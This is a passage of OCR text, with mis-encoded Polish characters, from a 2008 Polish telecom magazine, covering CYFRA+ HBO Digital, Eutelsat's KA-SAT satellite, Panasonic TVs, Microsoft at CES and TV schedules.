przestêpstw s¹ produkowane profesjonalnie, a za-
kupione pakiety masowo generuj¹ szkodliwe opro-
gramowanie. Wykradzione dane s¹ sprzedawane za
poœrednictwem podziemnych serwisów aukcyjnych.
To pieni¹dze ³atwe i dobrze ukryte przed organami
œcigania.

Co przyniesie 2008 rok? Wiêcej tego samego, czyli
niebezpiecznych kodów, ale ulepszonych, o jeszcze
mocniejszym i bardziej precyzyjnym dzia³aniu. Kry-
minaliœci dysponuj¹ odpowiednimi technologiami.
Kiedy masowoœæ ataków zwiêkszy œwiadomoœæ za-
gro¿eñ, ulepszone techniki in¿ynierii spo³ecznej
znowu uœpi¹ czujnoœæ u¿ytkowników. Rok 2008 bê-
dzie testem wytrzyma³oœci. n

Zród³o: www.f-secure.pl
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Dziêki nowej us³udze abonenci sami bêd¹ wybieraæ,
co w danej chwili chc¹ ogl¹daæ, bêd¹ równie¿ mogli
wielokrotnie powracaæ do danego programu. Lista
pozycji HBO Digital widoczna bêdzie dla wszystkich
u¿ytkowników dekoderów HD PVR CYFRY+ jako
dodatkowa strona w bibliotece nagrañ. Programy na
¿yczenie dostêpne bêd¹ na dysku dekodera w kilka
dni po telefonicznym aktywowaniu us³ugi. Podœwiet-
laj¹c konkretne pozycje z listy bêdzie mo¿na obej-
rzeæ krótki podgl¹d danego programu. Oferta bêdzie
regularnie odœwie¿ana. Na pocz¹tek znajdzie siê
w niej kilkanaœcie programów, m.in. produkcje HBO:
Kompania braci (10 odcinków) i Ostateczne roz-
wi¹zanie, filmy: Syriana, Oszukaæ przeznaczenie 3,
Animal, Firewall, Wytañczyæ marzenia, Kobieta
w b³êkitnej wodzie, a tak¿e program Przeboje na
stojaka! 2007. Do koñca kwietnia z serwisu HBO
Digital bêd¹ mogli korzystaæ wy³¹cznie abonenci
CYFRY+.

W ostatnim roku CYFRA+ konsekwentnie rozwija³a
us³ugi w oparciu o nowe technologie, wprowadzaj¹c
kolejno HD, PVR i VoD. W najbli¿szych miesi¹cach
platforma planuje przede wszystkim rozwój oferty
wideo na ¿yczenie.

CYFRA+ to najbogatsza programowo platforma
cyfrowa w Polsce: ponad 90 kana³ów RTV, serwisy
dodatkowe oraz dostêp do kilkuset kana³ów sateli-
tarnych w oryginalnych wersjach jêzykowych.
CYFRA+ proponuje bogaty wybór kana³ów filmo-
wych (16), sportowych (6), dokumentalnych (8), dzie-
ciêcych (5), informacyjnych (12), muzycznych i roz-

rywkowych (20) oraz
ogólnopolskich (11). CY-
FRA+ to cyfrowa jakoœæ
oraz unikatowe us³ugi
dodatkowe: m.in. stan-
dard HDTV, rozbudowa-
ny elektroniczny prze-
wodnik po programach
(EPG), wybór wersji fil-
mu z lektorem lub napi-
sami, format 16/9, oferta
dla doros³ych RelaXXX,
Music Choice, INFO+,
CYFRA+GRY, serwisy sms.
Drog¹ satelitarn¹ oraz

poprzez DSL CYFRÊ+ odbiera ponad milion gospo-
darstw domowych w Polsce. Operatorem CYFRY+
jest CANAL+ Cyfrowy Sp. z o.o. www.cyfraplus.pl

HBO (HOME BOX OFFICE) to p³atna telewizja, któ-
ra powsta³a 35 lat temu w Stanach Zjednoczonych
jako czêœæ koncernu Time Warner Entertainment
Company LP. HBO w Polsce jest czêœci¹ HBO Eu-
ropa Œrodkowa (HBO CE). W³aœcicielami HBO
w Europie Œrodkowej s¹: HBO Inc., Disney oraz
Sony Pictures Entertainment. W Polsce HBO rozpo-
czê³o swoj¹ dzia³alnoœæ 17 wrzeœnia 1996 roku.
Kana³ dostêpny jest w wiêkszoœci sieci kablowych
oraz na platformach cyfrowych. W Polsce HBO ofe-
ruje pakiet kodowanych kana³ów filmowych: HBO,
HBO2 i HBO Comedy. Oferta programowa kana³ów
obejmuje najnowsze hollywoodzkie produkcje filmo-
we, kultowe seriale, kontrowersyjne dokumenty, pro-
gramy rozrywkowe w³asnej produkcji oraz koncerty.
W paœmie prime time HBO, HBO2 i HBO Comedy
emituj¹ trzy pozycje programowe zró¿nicowane
pod wzglêdem gatunkowym i tematycznym. HBO
i HBO2 nadaj¹ program 7 dni w tygodniu, 24 godzi-
ny na dobê, a HBO Comedy 16 godzin na dobê bez
reklam. Program nadawany jest w stereo, w polskiej
wersji jêzykowej (www.hbo.pl). n

Zród³o: Canal+ Cyfrowy
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21 stycznia CYFRA+, jako pierwsza platforma cyfrowa w Polsce,

wprowadza HBO Digital, czyli serwis z programami na ¿yczenie,

bazuj¹cy na bibliotece filmów, dokumentów, seriali i produkcji

rozrywkowych HBO. Us³uga dostêpna bêdzie dla u¿ytkowników

dekoderów PVR HD CYFRY+ odbieraj¹cych kana³y HBO

i oferowana bêdzie bezp³atnie do koñca czerwca 2008 r.

Serwis z programami na ¿yczenie

CYFRA+ uruchamia

ofertê na ¿yczenie

– HBO DIGITAL





Wystrzelenie nowego satelity o nazwie KA-SAT
planowane jest na trzeci kwarta³ 2010 roku.
KA-SAT generuj¹c ponad 80 wi¹zek punkto-
wych bêdzie najnowoczeœniejszym satelit¹ wielo-
wi¹zkowym, jaki do tej pory skonstruowano. Inte-
gralnym elementem nowego satelity bêdzie sieæ
oœmiu gateways zarz¹dzanych przez Eutelsat.
Zapewni¹ one ³¹cznoœæ z KA-SAT oraz dystrybu-
cjê pe³nego portfolio us³ug do u¿ytkowników koñ-
cowych.

Zwiêkszenie pojemnoœci

konstelacji satelitów HOT BIRD™

KA-SAT umieszczony zostanie na wiod¹cej po-
zycji Eutelsat dla przekazu video, 13°E, obok
trzech du¿ych satelitów HOT BIRD™ nadajacych
w paœmie Ku. Kolokacja nowego satelity na 13°E
przyczyni siê do wzbogacenia portfolio us³ug ofe-
rowanych na tej strategicznej pozycji. Posiada-
cze indywidualnych anten satelitarnych bêd¹ mo-
gli odbieraæ kana³y telewizyjne w paœmie Ku oraz
korzystaæ z nowych us³ug medialnych w paœmie
Ka z wykorzystaniem pojedynczej anteny odbie-
raj¹cej sygna³y z obu czêstotliwoœci. Eutelsat wy-

korzystuje obecnie pasmo Ka na satelicie HOT
BIRD™ 6 dla nowej us³ugi szerokopasmowej
Tooway™, uruchomionej w Europie pod koniec
2007 roku. Tooway™ to wynik po³¹czenia wiedzy
i doœwiadczenia Eutelsat – wiod¹cego operatora
satelitarnego w Europie, jego oddzia³u Skylogic
dzia³aj¹cego na rynku us³ug szerokopasmowych
oraz firmy ViaSat – œwiatowego lidera w bran¿y
produktów szerokopasmowych oraz innowacyj-
nych satelitarnych systemów sieciowych. Us³u-
gaTooway zosta³a zbudowana na standardzie sy-
stemu SurfBeam® DOCSIS® opracowanym przez
ViaSat.

Wspó³praca z ViaSat

KA-SAT ma byæ europejskim odpowiednikiem
ViaSat-1 – satelity szerokopasmowego o du¿ej
pojemnoœci wyposa¿onego w ³adunek u¿yteczny
pasma Ka, który zamówiony zosta³ przez ViaSat
do celów transmisji na obszarze Ameryki Pó³noc-
nej. Wystrzelenie ViaSat-1 zaplanowano na rok
2011. Eutelsat œciœle wspó³pracuje z ViaSat przy
tworzeniu systemu sieciowego SurfBeam® pas-
ma Ka i podobnego, powszechnie dostêpnego
modelu korporacyjnego oferowanego abonentom
za poœrednictwem dystrybutorów us³ug interneto-
wych, firm telekomunikacyjnych oraz platform
p³atnej telewizji. Wspó³praca ta, opieraj¹ca siê na
d³ugotrwa³ych wzajemnych relacjach obu firm,
umo¿liwi³a znacz¹cy rozwój i wdro¿enie innowa-
cyjnych us³ug szerokopasmowych skierowanych
na rynek korporacyjny oraz dla sektora lotnicze-
go, morskiego i kolejowego na obszarze Europy,
Bliskiego Wschodu i Afryki.

KA-SAT to prze³om wœród satelitów wielowi¹z-
kowych. Satelity te udowodni³y ju¿ swoj¹ du¿¹
skutecznoœæ, umo¿liwiaj¹c dostêp do internetu,
HDTV i lokalnych kana³ów TV mieszkañcom
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Eutelsat Communications (Euronext Paris: ETL),

jeden z wiod¹cych na œwiecie operatorów satelitarnych,

og³osi³ decyzjê o wyborze EADS Astrium na dostawcê pierwszego

satelity realizuj¹cego przekaz wy³¹cznie w paœmie Ka.

Satelita ten stanowi g³ówny element strategii

odnowy infrastruktury satelitarnej Eutelsat.

Przyjêty program zwiêkszy pojemnoœæ wykorzystywan¹

na potrzeby us³ug szerokopasmowych dla Europy

i krajów basenu Morza Œródziemnego, a tym samym

stworzy nowe mo¿liwoœci dla lokalnych i regionalnych

rynków telewizyjnych.

Wspó³praca Eutelsat i ViaSat

Nowy satelita Eutelsat



trudno dostêpnych regionów obszaru Amery-
ki Pó³nocnej. Za poœrednictwem wystrzelonej
w 2005 roku pierwszej generacji satelitów wie-
lowi¹zkowych wykorzystuj¹cych technologiê
SurfBeam® DOCSIS® oraz firm WildBlue i Tele-
sat obs³ugiwanych jest ju¿ ponad 300.000 abo-
nentów internetu. Po³¹czenie DOCSIS – stan-
dardu, z którego korzysta kilkadziesi¹t milionów
odbiorców telewizji kablowej na ca³ym œwiecie
– z mo¿liwoœciami nowych satelitów wielowi¹zko-
wych du¿ej mocy w paœmie Ka pozwala zaofero-
waæ klientom indywidualnym dostêp do internetu
przez satelitê w cenie porównywalnej z rozwi¹za-
niami ADSL.

Najwiêksza oferowana pojemnoœæ

Szerokoœæ pasma dostêpna na satelicie KA-SAT
oraz sieciowe systemy naziemne nowej generacji
SurfBeam® firmy ViaSat pozwol¹ na uzyskanie
nieosi¹galnej dot¹d wydajnoœci i przepustowoœci.
Przepustowoœæ satelity wyniesie ponad 70 giga-
bitów na sekundê. Nowy satelita wraz z syste-
mem gateways bêdzie niew¹tpliwie punktem
zwrotnym w dziedzinie us³ug satelitarnego dostê-
pu do internetu, zwiêkszaj¹c liczbê potencjalnych
u¿ytkowników systemu do ponad jednego milio-
na. Odpowiada to kilkudziesiêciu tysi¹com u¿yt-
kowników korporacyjnych obs³ugiwanych obec-
nie przez istniej¹ce satelity pasma Ku na terenie
Europy. Prêdkoœæ na terminalu u¿ytkownika koñ-
cowego bêdzie porównywalna ze standardem
ADSL.

Giuliano Berretta, prezes Eutelsat, podpisuj¹c
z EADS Astrium kontrakt na budowê KA-SAT,
stwierdzi³: – Nowoczesne satelity pasma Ku du-
¿ej mocy zapewniaj¹ce rozleg³e pokrycie s¹ do-
skonale przystosowane do celów transmisji video
oraz realizacji us³ug w zakresie profesjonalnych
sieci danych, stanowi¹c kluczowy element zaso-
bów Eutelsat. Dzisiaj, wraz z og³oszeniem przyjê-
cia strategii zak³adaj¹cej transmisjê wy³¹cznie
w paœmie Ka, otworzyliœmy nowy rozdzia³ w hi-
storii przekazu satelitarnego. Zamierzamy two-
rzyæ nowy typ infrastruktury zaprojektowany spe-
cjalnie na potrzeby us³ug interaktywnych ofero-
wanych klientom. Po³¹czenie mo¿liwoœci nowych

satelitów z satelitami nadawczymi pasma Ku
w ramach konstelacji HOT BIRD™ da nam
wyj¹tkow¹ mo¿liwoœæ poszerzenia zakresu us³ug
cyfrowych s³u¿¹cych rozrywce z jednej pozycji
orbitalnej na obszarze ca³ej Europy.

Znacz¹c¹ czêœæ przepustowoœci pasma Ka bê-
dzie mo¿na wykorzystaæ na potrzeby przekazu
treœci lokalnych i regionalnych. Satelita KA-SAT
zaprojektowany zosta³ do celów transmisji no-
wych aplikacji video wymagaj¹cych bardzo wyso-
kiej przepustowoœci, takich jak np. HD Digital Ci-
nema czy telewizja 3D.

Dziêki wprowadzeniu w ¿ycie programu rozbudo-
wy zasobów satelitarnych przez Eutelsat i ViaSat
oraz wspó³pracy obu firm, mo¿liwy bêdzie rozwój
satelitarnych us³ug szerokopasmowych dla klien-
tów indywidualnych. Wydajnoœæ i konkurencyj-
noœæ tego typu us³ug bêdzie coraz wiêksza. Pro-
gram przyczyni siê tak¿e do wyeliminowania zja-
wiska tzw. wykluczenia cyfrowego. Szacuje siê,
¿e w roku 2010 ponad 15 mln gospodarstw do-
mowych w Europie oraz tyle samo odbiorców
w Ameryce Pó³nocnej wci¹¿ pozostawaæ bêdzie
poza zasiêgiem naziemnych sieci szerokopas-
mowych.

Rozbudowa infrastruktury

Satelita KA-SAT bazowaæ bêdzie na platformie
EUROSTAR E3000. To siedemnasty z kolei sate-
lita zamówiony przez Eutelsat w firmie EADS
Astrium. ¯ywotnoœæ KA-SAT przewiduje siê na
okres 15 lat, masa startowa ma wynosiæ 5,8 tony.
£adunek u¿yteczny satelity zu¿ywaæ bêdzie
ponad 11 kW mocy. Panele s³oneczne maj¹ ge-
nerowaæ moc rzêdu 15 kW.

Budowa nowego satelity wraz z powi¹zanym sy-
stemem naziemnym stanowi wa¿ny element
planu inwestycyjnego Eutelsat Communications
og³oszonego w paŸdzierniku 2007 roku razem
z wynikami za pierwszy kwarta³ roku finansowe-
go 2007-2008.

Zród³o: Eutelsat Communication

INFOTEL 1/2008 57

telewizjaTECHNOLOGIE



Panasonic zadba³ o to, aby mo¿liwe by³o przegl¹da-
nie popularnych serwisów foto-video bezpoœrednio
na ekranie zintegrowanego z internetem telewizora.
Wyró¿niaj¹ce siê ciekaw¹ stylistyk¹ telewizory z se-
rii PZ850 wyposa¿one w interfejs Viera Cast™ umo¿-
liwiaj¹ wyszukiwanie i ogl¹danie bezp³atnych filmów
video z YouTube oraz przegl¹danie i dodawanie on-
line zdjêæ w niezwykle popularnym serwisie fotogra-
ficznym Google Picasa Web Albums w komforto-
wych warunkach domowego salonu.

– Jesteœmy podekscytowani myœl¹ o wprowadzeniu

na rynek telewizorów wysokiej rozdzielczoœci z serii

PZ850, które umo¿liwiaj¹ dostêp do plików video

z YouTube i zdjêæ z Picasa praktycznie po pojedyn-

czym klikniêciu. Po raz pierwszy telewidzowie bêd¹

mogli w pe³ni skorzystaæ ze zintegrowanej rozrywki

na du¿ym ekranie. YouTube ju¿ jest spektakularnym

globalnym sukcesem jego twórców, a my dalej roz-

szerzamy mo¿liwoœci domowej przygody w œwiecie

HD – powiedzia³ Toshihiro Sakamoto, prezes AVC
Networks Company w Panasonic.

– Nasze dzia³ania koncentrujemy na dostarczaniu

u¿ytkownikom niesamowitych wra¿eñ, niezale¿nie

od ich aktualnej lokalizacji. Wspó³praca z takim lide-

rem bran¿y, jak Panasonic pozwoli na swobodê

przeszukiwania zasobów naszego serwisu w domo-

wym zaciszu w tak intuicyjny sposób, jak to siê dzie-

je w przypadku korzystania z komputerów osobis-

tych – powiedzia³ Steve Chen, wspó³za³o¿yciel i dy-
rektor zarz¹dzaj¹cy ds. technicznych YouTube.

– Tzw. rodzinny telewizor jest przydatnym i jed-

noczeœnie zabawnym sposobem na wyszukiwanie

i umieszczanie ulubionych zdjêæ w internecie. Tak¿e

dzielenie siê nimi na du¿ym ekranie z rodzin¹ i przy-

jació³mi przynosi wiele radoœci. Zintegrowane z ko-

lekcjami zdjêæ Google Picasa Web Albums telewizo-

ry Panasonic Viera pomagaj¹ osi¹gn¹æ nam jeden

z naszych priorytetów – dostarczanie u¿ytkownikom

zdjêæ zawsze wtedy, kiedy maj¹ na to ochotê – po-
wiedzia³ Mike Horowitz, Product Manager w Picasa
Web Albums, Google.

– Wspó³praca Panasonic z YouTube i Picasa Web

Albums jest przyk³adem na to, jak wiele uwagi po-

œwiêcamy integracji internetu z telewizj¹ wysokiej

rozdzielczoœci, co wydaje siê byæ naturaln¹ drog¹

rozwoju globalnej sieci – powiedzia³ Merwan Mere-

by, wiceprezes dzia³u New Business Development
w Panasonic Corporation of North America. n

Zród³o: Panasonic Polska
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Podczas miêdzynarodowych targów CES 2008 Panasonic

i YouTube og³osi³y, ¿e w wyniku nawi¹zania przez

obie firmy wspó³pracy telewidzowie uzyskaj¹ szybki

i ³atwy dostêp do milionów plików video z serwisu

YouTube. Bêdzie to mo¿liwe dziêki nowym p³askim

telewizorom plazmowym wysokiej rozdzielczoœci

Panasonic Viera z serii PZ850 wyposa¿onych

w interfejs Viera Cast™. Gwarantuje on nie tylko mo¿liwoœæ

ogl¹dania plików video z YouTube, ale tak¿e przegl¹dania

i publikowania zdjêæ w popularnym serwisie Google

Picasa Web Albums.

Panasonic na pok³adzie z Google i YouTube!

Zintegrowane z internetem
telewizory
Panasonic Viera



Decyzja Spó³ki Multimedia Polska o nieprzed³u¿eniu
umowy na nadawanie programu Eurosport jest bar-
dzo wa¿nym sygna³em dla œrodowiska operatorów
kablowych. Wa¿nym i niezwykle znacz¹cym, ponie-
wa¿ stanowi przes³ankê koñca okresu dyktatury na-
dawców na polskim rynku telewizyjnym.

Tacy nadawcy, jak francuski Eurosport albo po part-
nersku bêd¹ traktowaæ 4,5 miliona widzów w ca³ym
kraju, albo stale bêd¹ trwa³y konflikty na tle ich zbyt
wygórowanych ¿¹dañ finansowych, które uderzaj¹
i w abonentów telewizji kablowej, i w operatorów,
szczególnie tych w miastach œredniej wielkoœci oraz
tych „niewielkich” – lokalnych czy osiedlowych.

Od 2006 roku Polska Izba Komunikacji Elektronicz-
nej, zrzeszaj¹ca najliczniejsz¹ grupê operatorów ró¿-
nej wielkoœci z ca³ego kraju, prowadzi rozmowy
z Eurosportem na temat korzystnych warunków ree-
mitowania programu w sieciach kablowych. Warun-
ków korzystnych dla wszystkich trzech stron – na-
dawców, operatorów i abonentów. Rozmowy te s¹

jednak bezskuteczne, mimo naszej woli negocjacji
i doprowadzenia do kompromisu.

Warto zauwa¿yæ, ¿e polski abonent ma ju¿ do wybo-
ru osiem programów sportowych, które s¹ w stanie
zast¹piæ ofertê Eurosport za godziw¹ cenê. To sam
rynek bowiem powinien oceniæ, czy dany program
jest wart swojej ceny, czy nie – takie s¹ zdrowe za-
sady gospodarki wolnorynkowej w demokratycznym
kraju.

Wobec nieprzejednanej postawy kierownictwa pro-
gramu Eurosport operatorzy zrzeszeni w PIKE po-
wa¿nie rozwa¿aj¹, aby pójœæ w œlady Spó³ki Multi-
media Polska i wypowiedzieæ umowy z kierownic-
twem Eurosport. S¹ na to gotowi. A co w takiej sytu-
acji robi kierownictwo programu Eurosport? Milczy,
nie reaguje… Ignoruje? Ale kogo? Operatorów czy
swoich widzów?

Katarzyna Turska
– rzecznik prasowy PIKE

INFOTEL 1/2008

telewizjaWYDARZENIA

59

Komentarz Prezesa Polskiej Izby Komunikacji Elektronicznej

Dyktatura nadawców



W swoim wyst¹pieniu Bill Gates podkreœli³, ¿e ostat-
nie lata mo¿na zaliczyæ do pierwszej, trwaj¹cej od
2001 roku prawdziwej „Cyfrowej Dekady”. W tym
czasie stale ros³a popularnoœæ komputerów PC
pracuj¹cych pod kontrol¹ systemu Windows, roz-
powszechniony zosta³ szerokopasmowy dostêp do
internetu. Ogromn¹ popularnoœæ zyska³y telefony
komórkowe, a tak¿e mobilne urz¹dzenia multime-
dialne.

– Odk¹d po raz pierwszy mówi³em o „Cyfrowej De-

kadzie” w 2001 roku, tempo wzrostu popularnoœci

technologii cyfrowych, dziêki którym zmienia siê

sposób, w jaki pracujemy, uczymy siê i bawimy, by³o

ogromne. Mimo to, nadal jesteœmy na pocz¹tku dro-

gi prowadz¹cej do zmian, jakie wniesie w nasze ¿y-

cie technologia. Kolejna „Cyfrowa Dekada” przy-

niesie nam jeszcze wiêksze korzyœci wynikaj¹ce

z u¿ytkowania nowych technologii – powiedzia³ Bill

Gates.

Podczas swojego wyst¹pienia Bill Gates zaprezento-
wa³ w³asn¹ wizjê najbli¿szej „Cyfrowej Dekady”,
w której szerokie mo¿liwoœci wynikaj¹ce z u¿ytkowa-
nia technologii stan¹ siê sta³ym i powszechnym ele-
mentem naszego ¿ycia. Technologia High-Definition

bêdzie powszechnie dostêpna; naturalne interfejsy
dostosowane do potrzeb u¿ytkowników, urz¹dzenia
z us³ugami opartymi na internecie oraz szerokie mo¿-
liwoœci przechowywania ogromnych iloœci danych,
dostêpnych za poœrednictwem internetu sprawi¹, ¿e
u¿ytkownicy uzyskaj¹ mo¿liwoœæ szybkiego i nieskrê-
powanego dostêpu do wszystkich potrzebnych i po-
szukiwanych informacji i mo¿liwoœci, bez wzglêdu na
miejsce, w którym siê znajduj¹.

Efektem umowy pomiêdzy Microsoft i NBC Univer-
sal bêdzie mo¿liwoœæ dostêpu do licznych ma-
teria³ów filmowych, zdjêciowych i multimedialnych
zwi¹zanych z tegorocznymi igrzyskami olimpijskimi,
które odbêd¹ siê w Pekinie. Materia³y o charakte-
rze „on-demand” bêd¹ zamieszczane na stronach
NBCOlympics.com w portalu MSN, która bêdzie ofi-
cjaln¹ amerykañsk¹ stron¹ igrzysk. Serwis, zasilany

technologi¹ Microsoft Silverlight, bêdzie dostêpny
bezp³atnie dla u¿ytkowników wszystkich technologii,
przegl¹darek internetowych oraz platform sprzê-
towo-programowych. Firma poinformowa³a równie¿,
¿e stacje telewizyjne ABC Television oraz Disney
Chanel nawi¹¿¹ wspó³pracê z serwisem Xbox Live
i bêd¹ dostêpne do pobrania bezpoœrednio na kon-
solê Xbox 360. Dodatkowo, studio MGM udostêpni
za poœrednictwem serwisu swoj¹ bibliotekê naj-
wiêkszych hitów filmowych.

Microsoft poinformowa³ równie¿ o sukcesie konsoli
do gier Xbox 360, która w samym okresie œwi¹tecz-
nym zosta³a sprzedana w 17,7 milionów egzempla-
rzy. Amerykañscy konsumenci wydali w 2007 roku
na konsolê Xbox 360 wiêcej ni¿ na jak¹kolwiek inn¹
platformê do gry. Tym samym Microsoft ma szansê
odnieœæ najwiêkszy sukces w dziedzinie sprzeda¿y
gier i sprzêtu do gier komputerowych w historii tego
rynku w USA. W swoim wyst¹pieniu Bill Gates
mówi³ te¿ o ci¹g³ej transformacji komputera osobi-
stego oraz o sprzedaniu ponad 100 mln egzempla-
rzy nowego systemu operacyjnego firmy – Windows
Vista. Tym samym Vista staje siê jednym z central-
nych elementów tworz¹cych ideê „Cyfrowej Deka-
dy”.

Poinformowano równie¿, ¿e sieci telewizyjne Showti-
me Networks Inc. oraz Turner Broadcasting System
Inc.’s TNT i CNN wprowadzi³y nowe aplikacje umo¿li-
wiaj¹ce odbiór telewizji cyfrowej za poœrednictwem
platformy Microsoft Mediaroom Internet Protocol Te-
levision (IPTV), dostêpnej u ponad 20 najwiêkszych
dostawców us³ug internetowych na œwiecie.

Dodatkowo, Microsoft poinformowa³, ¿e Samsung
Electronics Co. Ltd. udzieli wsparcia przy wprowa-
dzaniu us³ugi Extender for Windows Media Center.
Us³uga ta umo¿liwi telewidzom dostêp do jakoœci
HD za poœrednictwem komputera osobistego wypo-
sa¿onego w system Windows Vista oraz Media
Center i ³¹cze szerokopasmowe.

Podczas swych wyst¹pieñ Gates i Bach wspomnieli
te¿ o rozwoju interfejsów u¿ytkownika. Bach zapo-
wiedzia³ now¹ wersjê Tellme, zintegrowanego mo-
bilnego serwisu korzystaj¹cego z elementów wizual-
nych i g³osowych, dziêki czemu u¿ytkownik telefonu
mo¿e wyœwietlaæ potrzebne elementy za pomoc¹
komend g³osowych. Tellme jest dostêpny w sieciach
AT&T Wireless i Sprint Phones i bêdzie wspó³dzia³a³
z przysz³ymi wersjami systemu Windows Mobile. n

Wiêcej informacji na ten temat

mo¿na uzyskaæ na stronach:

http://www.microsoft.com/presspass/events/ces/def

ault.mspx

oraz http://www.microsoft.com/ces/
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Bill Gates oraz Robbie Bach, dyrektor dzia³u Entertainment

& Devices w Microsoft Corp., og³osili podczas tegorocznej

edycji targów Consumer Electronics Show (CES) w Las Vegas

nowe wizje oraz inicjatywy Microsoft w zakresie rozwi¹zañ do

rozrywki. Poinformowano m.in. o umowach zawartych pomiêdzy

Microsoft a Disney-ABC Television Group, NBC Universal oraz

Metro-Goldwyn-Mayer Studios Inc. (MGM). Dzia³ania te maj¹

na celu podkreœlenie znaczenia oprogramowania w codziennym

¿yciu ka¿dego cz³owieka oraz mo¿liwoœci, jakie nios¹ ze sob¹

nowe technologie w zakresie komunikacji, dostêpu do informacji

i innych osób oraz rozrywki.

Cyfrowe wizje Microsoft

Bill Gates:
Nowa „Cyfrowa Dekada”
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ZAPOWIEDZI – LUTY 2008

NOWOŒÆ! W POSZUKIWANIU SMAKÓW

Premiera w poniedzia³ek,11 lutego o godz. 21.00.

Peta Mathias jest waszym globalnym kulinarnym przewodnikiem. Wraz z ni¹ spróbujemy wszystkich sma-
ków – od mongolskiego grilla, po soul food z Nowego Orleanu. Indie, Chile, Hawaje oraz Chiny s¹
w menu, gdy Peta próbuje i kosztuje siê smakiem. Od dañ ulicznych, po dania najlepszych restauracji. Po
drodze odkrywamy, i¿ esencj¹ ka¿dego miejsca s¹ ludzie i kuchnia. Entuzjazm Pety z pewnoœci¹ zarazi
was apetytem.

Tajlandia

Australia, pó³nocno-wschodnia Wiktoria

Wietnam

– 11 luty, o godz. 21.30

– 18 luty, o godz. 21.30

– 25 luty, o godz. 21.30

ODLEG£E L¥DY

Nowe odcinki

Premiera we wtorek, 26 luty o godz. 19.30.

Niewa¿ne, ile razy ¿eglowali ju¿ w kierunki zachodz¹cego s³oñca, zawsze wracaj¹, by opowiedzieæ nam,
jak by³o. Paul i Sheryl wracaj¹ tym razem z now¹ ³odzi¹. W tej serii Paul i Sheryl Shard ¿egnaj¹ siê ze
swoj¹ star¹ ³odzi¹ i rozpoczynaj¹ poszukiwania nowej. Podczas poszukiwañ odpowiedniej jednostki,
Shardowie ¿egluj¹ na kilku jachtach z przyjació³mi. Odbywaj¹ ostatni¹, emocjonaln¹ podró¿ na Maltê na
pok³adzie Two Step, przed przekazaniem jej nowym w³aœcicielom i zmierzeniem siê z przepraw¹ przez
Atlantyk na nowej ³odzi. Nowe odcinki, to nowe emocje i przygody, które mo¿esz z nami prze¿yæ.

ZAPOWIEDZI – MARZEC 2008

GNIEWNA PLANETA (ANGRY PLANET)

Nowa seria

Premiera w czwartek, 20 marca o godz. 20.30.

Tylko wyj¹tkowy podró¿nik mo¿e zostaæ ³owc¹ burz, niektórzy powiedzieliby nawet ¿e to raczej wariat ni¿
podró¿nik. George Kourounis jest jednym z najbardziej aktywnych i odwa¿nych „³owców burz”, jest on, za-
tem „królem wariatów”. Nie ma w¹tpliwoœci, co do odwagi George’a, który stawia siê na drodze okrutnych
tornad w Teksasie, przedziera siê przez gotuj¹ce siê jezioro na Karaibach, i jedzie do najgorêtszego miej-
sca na œwiecie w Etiopii. Zdecydowanie bezpieczniej jest ogl¹daæ George’a zmagaj¹cego siê z lawinami
i zamieciami œnie¿nymi w Kanadzie z zacisza w³asnego domu. George nawet bierze œlub na skraju wybu-
chaj¹cego wulkanu. Wulkan to tylko czêœæ jego zmartwieñ. Odwa¿ny facet!

Powtórka w sobotê, 23 marca o godz. 19.00.

Taksówk¹ za 100 dolarów

Nowe odcinki

Premiera we wtorek, 11 marca o godz. 21.30.

Niezaspokojony przygodami z pierwszej serii, nasz zespó³ wraca, by znowu bawiæ siê ze swoimi
ulubionymi taksówkarzami. Tym razem jad¹ do Amsterdamu, Bukaresztu, Ho Chi Minh City oraz do
najbardziej zat³oczonego miasta œwiata, Kairu. Pojawiaj¹ siê nawet w Chinach, gdzie taksówkarzowi
uda³o siê znaleŸæ Chiñski Mur, co w sumie nie by³o takie trudne z uwagi na jego d³ugoœæ. Ka¿dy
taksówkarz ma swoje w³asne skarby, takie jak zamki z duchami czy zupê z wê¿a. Spodziewajcie siê
wiêcej przygód z poza utartej œcie¿ki.

Luksusowe podró¿e Varuna Sharmy

Premiera w œrodê, 12 marca o godz. 18.00.

Varun Sharma powraca ze swoj¹ list¹ najbardziej pamiêtnych i ekskluzywnych miejsc na œwiecie.
Varunowi udaje siê znaleŸæ jedyny w Tokio pokój z w³asnym basenem – tak, jest to jego pokój. Zajadaj¹c
siê kanapk¹ za 150 USD w hotelu Rotz-Carlton, Varunowi w³os siê je¿y na myœl o podró¿owaniu
z ograniczonym bud¿etem. Ogl¹dajcie równie¿ specjalny program Varuna o daniach i drinkach, podczas
którego gotowaæ bêdzie z najlepszymi kucharzami œwiata.



Sercem wyœwietlaczy jest technologia o podwójnej
efektywnoœci zastosowana w prototypie o prze-
k¹tnej 42 cale. Panasonic przeprowadzi³ gruntown¹
ocenê swojej poprzedniej technologii IC oraz stru-

ktur paneli, a nastêpnie opra-
cowa³ nowy luminofor oraz te-
chnologiê projektowania ko-
mórek, dziêki którym uspraw-
nieniu uleg³ proces wy³ado-
wañ. Ulepszone obwody oraz
mechanizm sterowania przy-
czyniaj¹ siê natomiast do zna-
cz¹cego zmniejszenia utraty
energii. Dziêki temu, prototyp
Panasonic o przek¹tnej 42
cale wyró¿nia siê dwukrotnie
wy¿sz¹ efektywnoœci¹ lumi-
nancji i oferuje tak¹ sam¹ jas-
noœæ, jak istniej¹cy 42-calowy
wyœwietlacz plazmowy o pe³-

nej rozdzielczoœci (1080p), zu¿ywaj¹c przy tym
w skali roku o po³owê mniej energii.

Technologia o podwójnej efektywnoœci tworzy bazê
do budowy wyœwietlaczy plazmowych nowej ge-
neracji. Panele bêd¹ cieñsze, przek¹tne ekranu
zwiêksz¹ siê, wyœwietlane obrazy wysokiej rozdziel-
czoœci bêd¹ jaœniejsze, a zu¿ycie energii spadnie.

Przyk³adowo, 24,7-milimetrowy (1 cal) ca³kowicie
p³aski wyœwietlacz plazmowy o przek¹tnej 50 cali
ma g³êbokoœæ oko³o 4 razy mniejsz¹ ni¿ poprzednie
modele. Jest to mo¿liwe dziêki nowym obwodom
i zmienionej technologii sterowania. Waga prototypu
wynosi zaledwie 22 kg, czyli mniej wiêcej o po³owê
mniej ni¿ waga jego poprzedników. Cieñszy profil
i l¿ejsza waga nowego 50-calowego ekranu zapew-
niaj¹ swobodê aran¿acji wnêtrza.

Telewizor mo¿e stanowiæ eleganckie uzupe³nienie
wystroju. W zale¿noœci od preferencji u¿ytkownika,
prototypowy telewizor mo¿na zawiesiæ na œcianie
lub podwiesiæ pod sufitem.

Przedstawione podczas targów CES 2008 innowa-
cje mog¹ okazaæ siê zaledwie czubkiem góry lodo-
